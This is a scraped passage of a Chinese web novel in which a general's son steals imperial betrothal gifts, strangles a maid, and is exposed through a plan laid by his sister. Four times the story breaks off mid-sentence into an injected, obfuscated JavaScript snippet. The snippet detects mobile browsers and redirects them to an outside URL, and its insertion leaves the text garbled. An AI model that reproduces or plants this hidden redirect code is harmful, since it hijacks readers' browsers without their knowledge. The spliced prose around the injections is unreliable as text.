萧玹是何等人？东厂督主，权倾朝野的九千岁，行事向来缜密周密，从不打无把握之仗。 他手下能人异士无数，探听消息的渠道更是深不可测。 为何偏偏对千年血参的存放之处情报有误？ 珍宝阁虽是明面上最可能存放重宝之地，但以萧玹的手段，绝无可能仅凭一个模糊的猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春芽敏锐地察觉到傅流萤语气中的一丝不同寻常的冷意，不敢多问，立刻应道，“是，小姐。” “还有。”傅流萤顿了顿，补充道，“让我们的人，悄悄查探一下，今夜鸿胪寺失窃，除了我们，是否还有其他人动手。另外，特别留意一下，东厂最近是否有什么异常调动。” 春芽心中一凛，立刻明白了事情的严重性，低声道，“奴婢明白，这就去安排。” 房间里再次恢复寂静。 包扎好之后，春芽退下。 傅流萤拿起那个装着春风倒的玉瓶，放在鼻尖轻轻一嗅，眸光微闪。 东厂果然好东西不少。 只可惜，用在了试探之上。 她将玉瓶收入妆奁最底层。 今夜鸿胪寺这番动静，北疆使团丢了颜面，朝廷失了威严，明日一早，消息必定会传遍朝野。 不知道她那位“好未婚夫”，打算如何收场？ 还是说，这本就是他计划中的一环？ 果然不出傅流萤所料，次日一早，鸿胪寺遇袭，北疆进贡珍宝险些失窃的消息，如同插了翅膀般传遍了整个京城。 朝堂之上，气氛凝重得如同结冰。 龙椅上的皇帝面色阴沉，听着鸿胪寺卿战战兢兢地禀报昨夜情况。 “……多名守卫受伤，粮草库被焚毁一角，所幸进贡之物并未遗失，但北疆亲王完颜宗大怒，声称我朝治安不靖，要求我们务必给出一个交代……” 皇帝越听脸色越是难看，最终猛地一拍龙椅扶手，怒声道，“岂有此理！天子脚下，鸿胪寺重地，竟遭贼人如此猖狂袭击！京兆尹！九门提督！你们是干什么吃的？” 京兆尹和九门提督连忙出列跪倒在地，冷汗涔涔。 “臣等失职，请陛下息怒！” “息怒？你们让朕如何息怒！”皇帝怒火更盛，“北疆使团若是借此发难，坏了两国邦交，你们有几个脑袋够砍？” 这时，一位御史出列道，“陛下，贼人手段高明，对鸿胪寺布局似乎颇为熟悉，绝非寻常**贼。臣怀疑，恐是朝中之人所为，或与近日京中某些传言有关……” “哦？什么传言？”皇帝目光锐利地扫过去。 御史迟疑了一下，道，“臣听闻，昨日使团进贡的宝物清单流出后，其中那株千年血参，引来了多方觊觎……据说，此物对某些旧疾有奇效……” 这话意有所指，朝堂上顿时响起一阵细微的议论声。 许多道目光，或明或暗地投向了站在百官前列，一直闭目养神般的萧玹。 谁不知道，整个朝堂之上，只有萧玹有这个本事能瞒天过海。 萧玹缓缓睁开眼，眸光平静无波，仿佛完全没听到周围的议论，也没感受到那些探寻的视线。 他出列，躬身行礼，声音平稳淡漠，“陛下，当务之急，是安抚北疆使团，查明真相。臣愿协助京兆尹与九门提督，全力缉拿贼人，给北疆一个交代。” 皇帝看着萧玹，目光深沉，看不出情绪。 “既然如此，此事便交由萧爱卿协助处理。”皇帝最终开口，语气缓和了些许，“务必尽快查明真相，缉拿凶徒，平息北疆亲王怒火。” “臣，领旨。”萧玹躬身，嘴角勾起一抹无人察觉的冰冷弧度。 退朝后，官员们三三两两地走出大殿，不少人都刻意与萧玹保持着距离，却又忍不住偷偷打量他。 萧玹恍若未觉，径直朝着宫门外走去。 “督主。”残风悄无声息地跟上，低声道，“鸿胪寺那边，我们的人处理得很干净，没留下任何指向我们的痕迹。北疆人虽然嚷嚷得厉害，但也并未真正抓住什么把柄。” 萧玹淡淡应了一声：“嗯。傅家那边有什么动静？” “傅大小姐回府后便宣称闭关炼丹，谢绝一切访客。芳华苑守卫如常，并无异动。只是……”下属迟疑了一下。 “说。” “只是我们安插在傅家的人回报，昨夜傅大小姐回去后，似乎让其贴身婢女暗中吩咐了些什么，具体内容无法探知。此外，傅二公子那边，似乎又在暗中联系印子钱的人，数额巨大。” 萧玹脚步微顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她轻轻煽动着丹炉下的火焰，语气平淡无波，“让他打听。传话给看守库房的人，后日我去护国寺，芳华苑的守卫，尤其是库房那边，恰好轮换，人手减半，巡逻间隔延长。 再把消息透露给傅湛的人，我最看重的那几箱装着东海珍珠和翡翠头面的聘礼，就放在库房东侧的第三排。” 春芽心领神会，小姐这是要请君入瓮，而且是要让傅湛偷走最显眼的物件。 “是，小姐。那凝香姑娘那边……” “告诉她，傅湛动手时，让她设法绊住傅湛片刻，制造些动静，引来看守的婆子。” “奴婢明白。”春芽点头，随即又有些担忧，“小姐，如此一来，二少爷偷盗聘礼之事必定败露，将军震怒之下，恐怕……” “恐怕什么？”傅流萤抬眸，眼神清冷如冰，“他既然敢做，就要敢当，更何况，我就是要让父亲看看，他寄予厚望的嫡子，究竟是个什么货色。” 她顿了顿，语气带着一丝嘲讽，“况且，动了萧玹的聘礼，你以为父亲会轻易饶过他吗？” 春芽想到萧玹那睚眦必报，冷酷无情的性子，不由得打了个寒颤。 “下去安排吧。”傅流萤挥挥手，重新将注意力集中到丹炉上。 冰魄护心丹已到了凝丹的关键时刻，不容分心。 至于傅湛，他早已在自作孽的路上，无需她再推波助澜，只需静静等待他自取灭亡便好。 两日后，天还没亮。 傅流萤轻车简从，带着春芽和两个护卫，乘坐马车离开了将军府，前往城外的护国寺祈福。 消息早已不经意地传到了傅湛的耳朵里。 他几乎是掐着时间，起身准备前往芳华苑。 傅流萤几乎是趁着夜色离开的将军府，眼下府中的丫鬟婆子还没起，正是下手的大好时机。 “公子，您怎么了？”凝香披着外衣，一副刚起身的慵懒模样，关切地问道。 “没事。”傅湛心神不宁，敷衍地答道，眼睛却不断瞟向芳华苑的方向。 他怀里揣着昨晚费尽心思弄来的库房钥匙模子。 这是他买通了一个贪杯的库房婆子的儿子，趁其母醉酒后偷印下来的。 “公子若是心烦，不如陪奴家去花园里走走？散散心或许就好了。”凝香柔声建议道，上前挽住他的胳膊。 “听说清晨天还未亮的时候，花瓣上还有露珠呢，若是取来烹茶，” “不去！”傅湛此刻满心都是那十万两的债务和库房里的珍宝，哪里有什么心思逛花园，他不耐烦地甩开凝香的手。 凝香被他甩得一个踉跄，眼圈瞬间就红了，委屈地看着他，“公子……” 若是平日，傅湛早已软语安慰，但此刻他心烦意乱，竟只是烦躁地挥挥手，“你自个儿待着，我出去一趟！” 说完，竟是不再看凝香一眼，急匆匆地便往外走。 凝香看着他消失在院门口的急切背影，脸上的委屈瞬间消失，取而代之的是一抹冰冷的笑意。 她转身回到房内，对心腹丫鬟低声道，“去，按计划行事。” 傅湛借着清晨薄雾的掩护，熟门熟路地绕到芳华苑的后墙。 果然如他打听来的消息一样，平日里守在后门的两个婆子不见了踪影，巡逻的护卫也刚刚过去，下一班至少要一刻钟后才会再来。 真是天助他也！ 傅湛心中狂喜，压抑住激动的心情，小心翼翼地用模子配制的钥匙，捅开了库房后院小门的锁。 吱呀一声轻响，木门被推开一条缝。 傅湛闪身而入，心脏怦怦直跳。 库房里光线昏暗，但是隐约可见的珠光宝气，大大小小的箱笼堆叠整齐，红木匣子随处可见。 他的目光贪婪地扫过那些价值连城的珍宝，最终落在了东侧第三排那几个明显比其他箱子更精致的樟木箱上。 就是那里。 他快步走过去，手忙脚乱地掏出撬锁的工具。 因为紧张和急切，他的手心全是汗，工具几次打滑。 就在他终于撬开第一个箱子的锁扣，掀开箱盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229891|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，被里面满满一匣子圆润饱满、光泽夺目的极品珍珠晃花了眼睛。 “哐当！” 身后突然传来一声巨响，像是什么铁器掉在了地上。 傅湛吓得魂飞魄散，猛地回头。 只见一个负责打扫库房外围的小丫鬟，正目瞪口呆地站在门口，脚边掉着一个铜盆，显然是来清晨洒扫的。 四目相对，空气瞬间凝固。 小丫鬟似乎认出了他，眼睛惊恐地睁大，张嘴就要尖叫。 “来——” “人”字还未出口，傅湛如同被逼到绝境的野兽，眼中闪过疯狂的凶光，猛地扑过去，一把死死捂住小丫鬟的嘴，另一只手狠狠扼住了她的喉咙！ “唔……唔……”小丫鬟拼命挣扎，双眼翻白，手脚乱蹬。 傅湛此刻已经被恐惧和疯狂冲昏了头脑，只知道绝不能让这丫鬟喊出声！ 他手下愈发用力，小丫鬟的挣扎渐渐微弱下去。 就在这时，外面传来了杂乱的脚步声和婆子的呵斥声。 “怎么回事？刚才什么声音？” “好像是从库房那边传来的！” “快去看看！” 傅湛听到声音，如同惊弓之鸟，猛地松开手。 那小丫鬟软软地瘫倒在地，不知是死是活。 傅湛也顾不上了，他慌乱地抓起一把珍珠塞进怀里，又看到旁边一个打开的匣子里放着一支碧绿欲滴，品相极佳的翡翠簪子，顺手也捞了过来，然后像丧家之犬一样，踉跄着从后门逃了出去，甚至来不及重新锁门。 他一路狂奔，心脏几乎要从嗓子眼里跳出来，脑子里一片空白，只剩下无边的恐惧。 他**了？他刚才是不是**了？ 不，不可能！ 他只是捂了她的嘴，她肯定只是晕过去了！ 但随即傅湛转念一想，不行，晕过去怎么行，她一定会把他做的事情说出去，最好已经把她掐死，那他做的事情肯定天衣无缝了。 他刚才用了那么大的力气，明显感觉到那个丫鬟的气息没有了，她一定是**。 第一百二十七章 丑事败露 死的好死的妙。 谁让她挡了本公子的道。 不过就是一条贱命而已，**就**。 傅湛拼命安慰自己，脚下却不敢停，一头扎回自己的院子，紧紧关上房门，背靠着门板大口喘气，浑身都被冷汗湿透了。 “公子？您怎么了？”凝香看到他这副失魂落魄、衣衫不整的模样，吓了一跳，连忙上前。 当她看到傅湛怀里露出的珍珠和那支耀眼夺目的翡翠簪子时，眼中飞快地闪过一抹光芒，随即换上更加惊慌的表情，“公子！您、您真的去了？这、这是……” “别问，什么都别问！”傅湛猛地打断她，声音嘶哑颤抖，一把将珍珠和簪子塞给凝香，“藏起来！快藏起来！绝不能让人看见！” 凝香接过东西，触手冰凉，她强压住心中的激动和鄙夷，连忙点头，“好，好，奴家这就去藏好！公子您快冷静一下，千万别让人看出异样。” 她转身匆匆走进内室，找了个隐蔽的角落将赃物藏好。 而外面，芳华苑早已炸开了锅。 那被打晕的小丫鬟很快被婆子发现，虽然只是昏迷没有说一句话，但箱子被撬开，东西少了一眼就看出来了。 尤其是傅湛仓皇逃跑时，不小心落下的一块随身玉佩，被眼尖的婆子捡了个正着！ “是二少爷！是二少爷来偷东西了！”婆子吓得面无人色，拿着玉佩的手抖个不停。 消息瞬间席卷了整个芳华苑，并以最快的速度传到了容佩的耳朵里。 容佩立马把这个消息禀告给柳飞燕。 “什么？”柳飞燕正在用早膳，听到容佩的急报，手中的银筷啪嗒一声掉在桌上，脸色瞬间惨白如纸。 “湛儿他……他偷了流萤的聘礼？还、还打伤了人？”她只觉得天旋地转，眼前发黑，几乎要晕厥过去。 “夫人！夫人您保重啊！”容佩连忙扶住她，急声道，“现在不是说这个的时候，得快想办法！那玉佩落在了芳华苑的库房，人证物证俱在，若是等大小姐回来，或者传到将军那里……” 柳飞燕猛地一个激灵，瞬间清醒过来。 对！绝不能传到老爷那里！更不能让傅流萤知道！ 萧玹的聘礼！ 那是能动的东西吗？湛儿这是疯了！真是疯了！ “快！快去芳华苑！把所有知情的人都给我控制起来！谁敢乱嚼舌根，立刻发卖出去！”柳飞燕声音尖利，带着前所未有的恐慌，也顾不上仪态了，跌跌撞撞地就往外跑。 “还有！去把那个逆子给我叫过来！立刻！马上！” 傅湛院子里，他正六神无主地灌着冷茶，试图冷静下来。 凝香在一旁柔声安慰，眼底却藏着冷眼旁观的笑意。 突然，院门被人从外面粗暴地推开。 柳飞燕带着几个心腹婆子，气势汹汹地冲了进来，脸上毫无血色，眼神像是要**。 “母亲……”傅湛吓得一哆嗦，茶杯掉在地上摔得粉碎。 “你这个孽障！你给我跪下！”柳飞燕看到傅湛，所有的恐惧和愤怒瞬间爆发，扬手就狠狠给了他一耳光！ 清脆的耳光声响起，傅湛被打得偏过头去，脸上瞬间浮现出清晰的五指印。 “母亲！你打我？”傅湛捂着脸，不敢置信。 “我打你？我恨不得打死你！”柳飞燕气得浑身发抖，指着他骂道，“你竟然敢去偷萧玹送来的聘礼？你是不是嫌命长了？你知不知道有部分聘礼是皇帝和太后娘娘御赐下来的，你居然敢偷御赐之物，那是多大的罪过？” 傅湛听到御赐之物四个字，脸色更是惨白如纸，语无伦次地辩解，“我没有偷，我只是拿了一点珍珠，一支簪子……我只是想应急，我会还回去的……” “还？你怎么还？那是御赐的聘礼！动了就是死罪！”柳飞燕痛心疾首，眼泪涌了出来，“我怎么会生出你这种蠢笨如猪，胆大包天的儿子！前脚刚填了八万两的窟窿，后脚你就又欠下十万两！现在还敢偷聘礼！你是要把我们所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246376|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都害死才甘心吗？” “什么十万两？”就在这时，一个冰冷威严的声音在院门口响起。 傅莽高大的身影不知何时出现在门口，面色铁青，眼神如同淬了毒的刀子，死死地盯着院内的母子二人。 他本是准备去上朝，却听到下人间窃窃私语，说什么芳华苑出事了，二少爷偷了库房的东西，所以过来看看。 没想到，竟听到了这样一番石破天惊的话。 八万两窟窿？又欠十万两？偷盗御赐聘礼？ 傅莽只觉得一股血气直冲头顶，眼前阵阵发黑，几乎站立不稳。 “老、老爷……”柳飞燕看到傅莽，如同见了鬼一般，吓得魂飞魄散，瞬间瘫软在地。 傅湛更是吓得双腿一软，直接跪在了地上，抖如筛糠。 傅莽一步一步地走进院子，每一步都像是踩在柳飞燕和傅湛的心尖上。 他先是一把揪起瘫软的柳飞燕，声音是从牙缝里挤出来的，带着滔天的怒火，“你刚才说，八万两窟窿？你拿你的嫁妆，给这个孽障填了赌债？” 柳飞燕被他狰狞的表情吓得说不出话，只能呜呜地哭。 傅莽猛地将她掼在地上，目光如同利箭般射向跪在地上的傅湛，“你又欠了十万两赌债？还敢去偷萧玹送给傅流萤的聘礼？说！东西呢？” “父、父亲……我……我没有……”傅湛还想狡辩。 “没有？”傅莽一脚狠狠踹在傅湛的心口，将他踹得倒飞出去，重重撞在廊柱上，发出一声闷响。 “哇！”傅湛一口鲜血喷了出来，只觉得五脏六腑都移了位，痛得几乎晕厥过去。 “将军息怒！将军息怒啊！”柳飞燕见状，哭喊着扑过去抱住傅莽的腿，“不能再打了！再打就打**！湛儿他知道错了！他知道错了！” “知道错？我看他是不知道死字怎么写！”傅莽怒极反笑，指着傅湛，“把赃物交出来！否则我现在就清理门户，打死你这个丢人现眼、祸害家门的东西！” 第一百二十八章 计中计 傅莽一脚踹开柳飞燕，傅湛被打的鼻青脸肿，最终指了一个方向。 一个婆子立刻过去，从角落里翻出了那包珍珠和那支翡翠簪子。 傅莽看着那明显属于御赐规格的极品东珠和翡翠，最后一丝侥幸也彻底破灭。 他接过那支簪子，手都在发抖。 这不是普通的聘礼，这是皇家御赐之物，萧玹送的，是过了明路的！ 动这东西，就是在打萧玹的脸，打皇家的脸。 傅家如今本就处境微妙，北疆使团还在京中，若是此事传出…… 傅莽简直不敢想象那后果。 他猛地转身，眼神猩红地看着地上的傅湛和哭得撕心裂肺的柳飞燕，巨大的失望，愤怒和恐惧几乎将他吞噬。 “好！好得很！你们真是我的好妻子！好儿子！”傅莽的声音嘶哑，带着浓浓的疲惫和暴怒，“柳飞燕，你纵子成凶，私自动用嫁妆填补赌债，隐瞒不报！傅湛，你嗜赌成性，屡教不改，欠下巨债，如今竟胆大包天至此，偷盗御赐聘礼，伤人潜逃！你们……你们真是要把这将军府彻底败光！要把我傅家百年基业毁于一旦！” 他猛地深吸一口气，似乎下定了某种决心，厉声喝道：“来人！” 管家和一群护卫早就听到动静赶了过来，此刻闻言立刻上前。 “将夫人带回她的院子，没有我的命令，不许踏出房门一步！” “还有将这个逆子给我捆起来！关进祠堂暗室！没有我的允许，谁也不准探视，不准送饭送水！” “今日之事，若有半句泄露出去，我唯你们是问！” 一道道命令下达，冷酷无情，不容置疑。 “老爷！不要啊老爷！湛儿他知道错了！他会被打死的！”柳飞燕哭喊着求饶。 “父亲！父亲我错了！我再也不敢了！饶了我这次吧！”傅湛也挣扎着哭求。 然而盛怒下的傅莽根本听不进任何的求饶之语，护卫们强行将柳飞燕拖走，又将重伤的傅湛粗暴地捆了起来，拖向祠堂方向。 整个院子哭喊声，求饶声乱成一团。 凝香躲在角落，看着这鸡飞狗跳、父子反目的一幕，低下头，掩饰住嘴角那抹冰冷的笑意。 成了。 大小姐交代的事情，她完成了。 —— 护国寺。 傅流萤刚刚上完香，正在禅房休息。 春芽悄步进来，低声禀报：“小姐，府里传来消息，二少爷得手了，但也当场被发现，留下了玉佩为证。” 傅流萤的眉心紧锁，“这个蠢货，给他机会也不中用。” “夫人想去压下消息，却被将军撞破了一切。将军震怒，已下令将夫人软禁，至于二少爷，已经被捆起来关进了祠堂暗室。” 傅流萤慢条斯理地拨动着茶盏中的浮沫，脸上没有任何意外的表情。 “傅莽倒是雷厉风行。”她语气平淡，“看来，这次是真的触到他的逆鳞了。” 动了萧玹的聘礼，等于将整个傅家置于火上烤，傅莽岂能不怒？ “小姐，我们是否现在回府？”春芽问道。 “不急。”傅流萤放下茶盏，眸光望向窗外悠远的天空，“让父亲先冷静冷静。也让我的好哥哥，在暗室里好好尝尝恐惧的滋味。” 现在回去，只会成为柳飞燕和傅莽发泄怒火和求助的对象。 她就是要等事情发酵到一定程度，等傅莽骑虎难下之时，再以苦主的身份出现。 那样，效果才是最好的。 “那……萧督主那边？”春芽有些迟疑，“聘礼被盗，终究是……” “萧玹那边，自然会有人去告知。”傅流萤嘴角勾起一抹微妙的弧度，“出了这么大的事，父亲就算想瞒，也瞒不住东厂的眼线。” 她几乎可以想象，萧玹得知这个消息时，脸上会是什么表情。 无论如何，这把火，已经按照她的预期，甚至烧得比她预想的更旺了。 她只需静静等待，等待一个最佳的时机。 “春芽。” “奴婢在。” “去告诉方丈，我心神不宁，欲在寺中斋戒三日，静心礼佛，暂不回府。” “是，小姐。” 禅房内重归寂静，唯有香炉中的青烟袅袅升起，氤氲了傅流萤平静无波却深不见底的眼眸，却驱不散她眉宇间那抹凝重的思量。 傅湛被关，柳飞燕被禁足，傅莽雷霆震怒，局面看似已按她的预想发展。 但傅流萤心里清楚，傅莽最是看重家族利益和自身权位，盛怒之下或许会严惩傅湛，但时日稍长，难免会因骨肉亲情而心软。 必须再加一把火，将傅湛彻底钉死在绝路上，也让傅莽无法转圜。 而能扰乱这盘棋局，且乐于见到傅家出乱子的人…… 只有他。 傅流萤眸光微转，落在窗外寂寥的天空上。 她起身行至案前，铺开一张素笺，研墨提笔。 笔尖悬停片刻，随即落笔，字迹清逸却暗藏锋锐。 内容极其简短，只写了寥寥数语。 她将信用特制的火漆封好，交给春芽，“务必亲自送到东厂督主府，交到残风手中。” “是，小姐。”春芽接过信，神色凝重地退下。 傅流萤重新坐回窗边，望着春芽消失的方向，眼神幽深。 萧玹，这盘棋，你也该下场了。 将军府内 凝香在自己房中，对着铜镜梳妆。 她还有最后一件事情必须要去完成。 她唤来自己的心腹丫鬟珍珠，将一支沉甸甸的金簪和两大锭雪花银塞给她，低声道：“你悄悄去见傅明雪身边的杏儿，务必避开所有人。把这些给她，就说我如今处境艰难，想求她帮个忙，明日采买带我出去。” 说完，凝香低头在珍珠的耳边低语了几句。 珍珠虽不解其深意，但见凝香神色凝重，不敢多问，重重点头。 她本就是傅流萤暗中送来伺候凝香的，来之前，傅流萤就吩咐过，让她按照凝香的吩咐去做。 她将金簪银两仔细收好，悄无声息地溜了出去。 杏儿本来是不答应的，珍珠低头将凝香说给她的话说给杏儿听。 杏儿的脸色微变最终还是艰难的答应了下来。 第一百二十九章 铤而走险 次日午后，杏儿果然依约来到与凝香约定好的偏僻角落。 凝香早已简单收拾了一个小包袱等候，神色紧张不安。 “凝香姑娘，走吧。”杏儿低声道，眼神有些闪烁，不敢多看凝香。 “有劳杏儿姐姐了。”凝香低眉顺眼，一副全然依赖的样子。 两人一前一后走向府邸侧门。 杏儿是傅明雪身边有头有脸的丫鬟，时常出府替主子办事，与门房相熟。 她上前打了个招呼，塞了点碎银，笑道：“奉小姐之命，带个姐妹出去买些针线。” 门房婆子掂了掂银子，又瞥了一眼杏儿身后低着头穿着比丫鬟服饰要体面一点的凝香，只当是傅明雪院里的其他女使，并未起疑，笑着放行了。 走出将军府侧门，凝香暗暗松了口气，第一步已成。 门房婆子定然记住了是二小姐傅明雪身边的大丫鬟杏儿，亲自带了一个眼生的女子出府。 她与杏儿在第一个街口便迅速分开，凝香压低帷帽，很快汇入人流，消失不见。 而杏儿看着凝香匆匆离去的背影，心中莫名有些不安，但摸了摸怀里凝香塞给她的珠宝银钱，有了这笔钱，娘亲就有钱看病了，妹妹也能添一身好看的衣服和嫁衣，还有弟弟也能去私塾上学堂了。 想到这些，杏儿压下心底的不安，这笔钱，她一辈子都挣不到，就算是把她卖了也不止这些。 哪怕是死，也值了。 祠堂暗室阴冷潮湿，傅湛被关了一日一夜，又冷又饿，身上被傅莽踹伤的地方更是疼痛难忍。 恐惧和绝望如同毒蛇般啃噬着他的心。 他听见外面隐约的动静，知道柳飞燕也被软禁，心中更是冰凉。 完了，这次父亲是真的动了真怒。 那十万两的赌债……期限就在眼前！ 那帮放印子钱的手段狠辣，若是还不上，他们真的会废了他的手脚，甚至要了他的命。 不行！他不能坐以待毙！ 必须弄到钱！ 可是他现在连出去都出不去，又能怎么办？ 深夜，万籁俱寂。 暗室的门却被轻轻推开一条缝。　一个被柳飞燕重金收买，平日里负责看守祠堂的老仆，偷偷塞进来两个冷馒头和一壶水，低声道，“二少爷，您快吃点吧。夫人让老奴告诉您，千万别怕，她正在想办法求老爷放您出去……” 傅湛如同抓住了救命稻草，猛地扑过去抓住老仆的手，“母亲！母亲一定能救我的！你告诉母亲，我需要钱！急需十万两！让她无论如何先帮我凑够这笔钱！” 老仆为难道，“二少爷，夫人如今自身难保，管家权也没了，哪里还能拿出十万两巨款啊……” “那怎么办？那怎么办？”傅湛几乎要疯了，“没有钱他们会杀了我的！” 老仆犹豫了一下，低声道，“二少爷，老奴多句嘴……这府里最值钱的东西，除了库房……各个主子屋里，尤其是夫人和大小姐的私库里，或许……”　这话如同魔鬼的低语，瞬间点燃了傅湛眼中疯狂的火焰。 对！库房偷不了，还有母亲的私库！ 还有傅流萤那个贱人的芳华苑！ 母亲那么疼他，一定会原谅他的！ 至于傅流萤……反正已经得罪透了，也不差这一次！ “你……你能不能帮我……”傅湛眼中布满血丝，死死盯着老仆。 老仆吓得一哆嗦，“二少爷，这、这可使不得啊……”　“帮我这一次，以后我少不了你的好处！否则我要是死了，做鬼也不放过你！”傅湛威胁道。 在老仆的颤抖和恐惧中，一个更加疯狂的计划诞生了。 翌日傍晚，趁着府中守卫交接，傅湛在老仆的掩护下，偷偷溜了出去。 他熟门熟路地先潜入了柳飞燕的私库。 柳飞燕被软禁，私库看守松懈，他轻易找到钥匙，偷拿了几件价值不菲的首饰和金锭。 但这些东西折算下来，距离十万两还差得远。 贪婪和恐惧驱使着他，将目光投向了芳华苑。 傅流萤不在，又出了昨天这档子事情，芳华苑的守卫比平日森严多了。 但傅湛不是第一次来，他凭借着对地形的熟悉，竟然真的再次潜入了芳华苑，撬开了傅流萤库房的门锁。 傅湛如同饿狼扑食，将能拿的塞满了整整一包袱，得手后，他不敢久留，按照老仆提供的路线，连夜偷偷溜出了将军府，直奔京城最大的黑市。 他必须尽快将这些烫手的东西脱手换成银票！ 鬼市，凌晨开市，拂晓即散，是京城见不得光的交易场所。 傅湛用黑布蒙着脸，心惊胆战地找到一个相熟的黑市商人，急于脱手赃物。 那商人验看货物，起初并未在意，直到打开一个紫檀木匣，里面露出一对龙凤呈祥的翡翠玉佩，玉质通透，雕工精湛，更重要的是，玉佩背面竟刻着内务府的印记和御制字样！ 黑市商人手一抖，脸色大变，猛地合上盖子。 “这东西哪来的？”商人压低声音，厉声问道。 傅湛心里咯噔一下，支吾道，“你、你别管，总之是真的，你给个价！” “给个价？”商人像看傻子一样看着他，“这是御制之物！沾了皇家的东西，你也敢拿来鬼市卖？你想死，别拖累我！快拿走！滚！” 傅湛被轰了出来，抱着包袱，如同丧家之犬，心中恐慌到了极点。 御赐之物不能变卖，这是死罪！怎么办？ 剩下的东西虽然值钱，但一时半会儿根本凑不够十万两。 绝望之下，傅湛只能找到另一家规模较小的店铺。 这种店铺虽然小，价格低，但是现在不管什么东西都会收。 傅湛战战兢兢地拿出偷来的东西。 店主验过货，在他与店主讨价还价之时，几名看似普通顾客的人走了进来。 其中一人目光扫过柜台上的东西，眼神骤然一凝。 那人是宫里出来为贵人采买稀奇玩意儿的小太监，眼尖，一眼就认出那东西的工艺和材质绝非民间所有，极似内造办的手笔！ 小太监不动声色，假意看货，仔细辨认后，心中骇然。 这确是御赐之物无疑！ 第一百三十章 太后震怒 小太监脸色微变，但是却没有说什么。 等到傅湛和店老板交易完，傅湛离开之后，他对身边的人使了个脸色。 身边的几个人立马上去按住了店老板。 “你们干什么？” “干什么？”店内没有人小太监也不装了，捏着尖细的嗓音，猛地一拍柜台，厉声喝道，“好大的胆子！竟敢私售御赐之物！” 店掌柜被这突如其来的呵斥吓得一哆嗦，抬头正要发作，却见对方亮出一块腰牌。 他的瞳孔猛然收缩，立马认出了，这是内务府的牌子！ “官、官爷……”掌柜的腿一软，“扑通”一声跪倒在地，“小的不知犯了何事，还请官爷明示……” “明示？”小太监尖细的嗓音在寂静的店铺内显得格外刺耳，“你收的这些东西，件件都是内务府造的御赐之物！你有几个脑袋敢收这个？刚才来卖东西的人是谁？” 掌柜的冷汗涔涔而下，连连磕头，“官爷明鉴啊！方才那人蒙着脸，小的实在不知是谁……咱们这行规矩，东西向来不问来处，也不问来人是谁……小的要是知道这是御赐之物，就是给小的天大的胆子也不敢收啊！” 当然这只是掌柜的说辞。 他早就知道这是御赐之物但是那又如何只要不被抓到就是富贵险中求。 可今天……确实倒霉了点。 若是没有被抓到，光是这几样东西就能让他赚上几千两。 几个随行的太监已经将柜台上的物件一一清点，那对龙凤呈祥的翡翠玉佩在昏暗的灯光下依然流光溢彩，背面内务府的印记清晰可见。 “带走！”小太监冷哼一声，“这些东西都得送回宫里。至于你……”他瞥了眼跪地发抖的掌柜，“今日之事若敢泄露半句，你这店就别想开了！” 掌柜的看着自己刚花大价钱收来的宝贝就这么被抄走，心疼得直抽抽，心里将那个蒙面人骂了千万遍。 这杀千刀的混账东西，要是让老子知道你是谁，定要你好看！ 而此时此刻傅湛不由的打了一个寒颤。 随即搂紧了怀里的银票。 有了这些钱他就可以把十万的赌债还清了，不仅如此还有一万两可以作为本钱。 他已经投了近二十万两进去。 已经输了这么多了运气总该来了吧。 赌博有输有赢本就应当。 他输了这么多，今天拿一万两的本钱去赌一定能赢个几万两回来。 抱着这种心态，傅湛还了赌债以后， 慈宁宫内。 太后正捻着佛珠听宫女读经，却见心腹太监急匆匆捧着一个锦盒进来。 “太后娘娘，内务府在清查宫外流物时，发现了这个……”太监跪地呈上锦盒。 太后漫不经心地打开，当看到那对熟悉的龙凤玉佩时，瞳孔猛地一缩。 这是她亲自为萧玹和傅流萤赐婚时赏下的聘礼之一！ “哪来的？”太后的声音陡然冷了下来。 太监战战兢兢地回禀，“是……是在城西一家古玩店查到的，店家说是有人拿去典当……” “砰！”太后猛地一拍案几，佛珠应声而断，珠子滚落一地。 “好大的胆子！连哀家赐下的聘礼都敢典当！”太后气得浑身发抖，“查！给哀家彻查！我倒要看看，是谁这么不知死活！通知萧玹，让他尽快查明此事。” “是。” 东厂的效率极高，不过半日工夫，所有的线索都指向了将军府。 当查证的折子呈到太后面前时，太后看着傅湛二字，气得直接将茶盏摔了个粉碎。 “好个傅家！好个傅莽！教出这样的好儿子！连御赐之物都敢动！”太后凤目圆睁，“传傅莽即刻进宫！” 将军府内，傅莽正因为傅湛再次失踪而大发雷霆，突然接到太后急召，心中顿感不妙。 一路进宫，傅莽的心沉到了谷底。 